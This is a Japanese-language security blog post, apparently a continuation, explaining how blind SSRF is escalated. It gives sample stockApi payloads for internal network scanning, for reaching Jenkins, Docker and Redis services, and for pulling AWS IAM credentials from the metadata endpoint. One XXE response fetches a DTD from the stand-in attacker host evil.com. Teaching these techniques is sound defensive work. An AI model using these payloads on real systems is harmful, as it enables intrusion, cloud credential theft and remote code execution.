Shikata Ga Nai

Private? There is no such things.

Blind SSRFの発見と悪用(続き)

Hello there, ('ω')ノ

Blind SSRFは、単に外部へのリクエストを発生させるだけでは大きな影響を与えません。しかし、適切な技術を使うことで 内部ネットワークのスキャンやリモートコード実行(RCE)につながる可能性があります。


1. Blind SSRFの本当の攻撃シナリオ

① 内部ネットワークの脆弱性スキャン

Blind SSRFでは、リクエストのレスポンスを直接確認できませんが、内部ネットワークの脆弱性を探ることが可能 です。

🔹 方法

  1. 内部IPアドレスレンジに対してスキャンを実行
    • 192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12 の範囲を試す。
    • それぞれのIPに対して、特定のポート(80, 443, 8080, 22, 3306 など)にリクエストを送信。
   stockApi=http://192.168.0.1:80
   stockApi=http://10.0.0.5:8080
   stockApi=http://172.16.0.2:443
  1. 攻撃者のサーバーでOut-of-band技術(Burp Collaboratorなど)を利用し、ターゲットがリクエストを送信したか確認
    • もしアプリケーションが DNSルックアップを行うだけでなく、実際にリクエストを送る なら、ターゲットが内部ネットワークのリソースにアクセス可能であることを示す。

結果が分からないBlind SSRFでも、異なるIPアドレスやポートに対するリクエストを試すことで、どのサーバーが応答しているかを推測可能!


② 既知の脆弱性を持つシステムを狙う

Blind SSRF を利用して 内部サーバーが未パッチの状態であるかどうかを調べる ことが可能。
特に、攻撃者が内部APIや管理ツールにアクセスできる場合、重大な脆弱性を狙うことができる。

🔹 攻撃シナリオ

  1. Jenkins管理パネル(CVE-2018-1000861)
   stockApi=http://192.168.1.100:8080/script
  • 成功すれば、Jenkinsのスクリプトコンソールにリクエストを送り、RCEを実行できる可能性がある。

  • Docker APIの不正アクセス

   stockApi=http://192.168.1.50:2375/images/json
  • DockerのAPIが開放されている場合、コンテナを作成し、システムを乗っ取ることが可能。

  • Redisの不正書き込み

   stockApi=http://192.168.1.20:6379/SET%20backup%20exploit
  • Redisが保護されていない場合、データを上書きし、RCEに繋げることができる。

これらのリクエストを送信し、Burp CollaboratorやDNSログを確認することで、内部ネットワークの未パッチのサーバーを特定可能!


③ 外部サーバーを経由したリモートコード実行(RCE)

攻撃者が管理するサーバーにBlind SSRFでリクエストを送信させることで、ターゲットのHTTPクライアントに悪意のあるレスポンスを返し、脆弱性を悪用することが可能。

🔹 攻撃の流れ

  1. 攻撃者のサーバーに接続させる
   stockApi=http://evil.com/malware


2. ターゲットのHTTPクライアントに対して、悪意のあるレスポンスを返す - HTTPレスポンスに XXE, SSRF, 任意コード実行(RCE)につながるペイロード を含める。

   HTTP/1.1 200 OK
   Content-Type: text/xml

   <?xml version="1.0"?>
   <!DOCTYPE root [
     <!ENTITY % remote SYSTEM "http://evil.com/xxe.dtd">
     %remote;
   ]>

もしターゲットのHTTPクライアントが脆弱であれば、XXEやRCEが実行され、サーバーの完全な乗っ取りが可能!


④ クラウド環境の乗っ取り

Blind SSRF を利用して AWSやGCPのメタデータサービスにアクセスし、認証情報を取得する ことで、クラウド環境全体を乗っ取ることができる。

🔹 AWS環境のIAMクレデンシャルを取得

stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/

成功すると、IAMクレデンシャルが取得でき、AWSの管理権限を奪うことが可能!


5. Blind SSRFの攻撃のまとめ

攻撃手法 目的
内部ネットワークスキャン 内部のサーバーやサービスを特定
脆弱な管理ツールへのアクセス Jenkins, Docker, Redis などを悪用
攻撃者のサーバーへのリクエストを強制 XXEやRCEの実行
AWS/GCPのメタデータ取得 クラウド環境の乗っ取り

🚨 Blind SSRFはレスポンスが見えないが、適切な技術を組み合わせることで、内部ネットワークのスキャン、クラウド環境の侵害、最終的にはリモートコード実行(RCE)に繋げることが可能!
🚀 定期的な脆弱性診断と、適切なセキュリティ対策(ファイアウォール、ホワイトリストフィルタ)を実施することが重要!

Best regards, (^^ゞ